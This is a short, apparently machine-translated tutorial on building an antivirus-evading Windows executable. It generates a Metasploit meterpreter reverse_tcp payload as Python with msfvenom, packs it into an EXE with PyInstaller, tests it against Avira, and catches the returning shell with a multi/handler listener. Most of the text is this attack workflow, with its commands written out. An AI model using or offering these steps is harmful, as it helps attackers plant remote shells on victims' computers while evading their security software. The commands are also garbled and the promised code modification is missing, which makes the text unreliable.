Metasploit+python generate kill-free EXE over antivirus

Metasploit+python generate Kill-free EXE ever the Antivirus

1 Generate a bounce MSF python script under Kali, with the following command:

Msfvenom-p windows/meterpreter/reverse_tcp lport=443 lhost=192.1681. 102  One-f py-o  /opt/bk.py

2. Copy the bk.py to the WINDOW32 system and modify it as follows (the red callout here is to modify the added code, other unchanged)

3. Install the Python-enabled environment on the windowsx86, download the Pywin32 decompression run, and always click on the next step.

4. Then download the software pyinstall that supports Python generation EXE, unzip and then execute the following command:

D:\miansha\pyinstaller-2.0>python pyinstaller.py--console--onefile  bk.py

Note that there is no Chinese path, otherwise it will go wrong

5. After executing the command, the Bk.exe will be generated in the D:\pyinstaller-2.0\bk\dist directory

6. Here I will install the latest  antivirus software on windowsx86 for Avira test

7. Then start MSF under Kali, and then execute the following command:

Use exploit/multi/handlerset192.168. 1.102 Set 443 Set PAYLOAD windows/meterpreter/Reverse_tcpexploit

8. Then execute Bk.exe on the windowsx86 system, eventually bouncing out Meterprer in MSF:
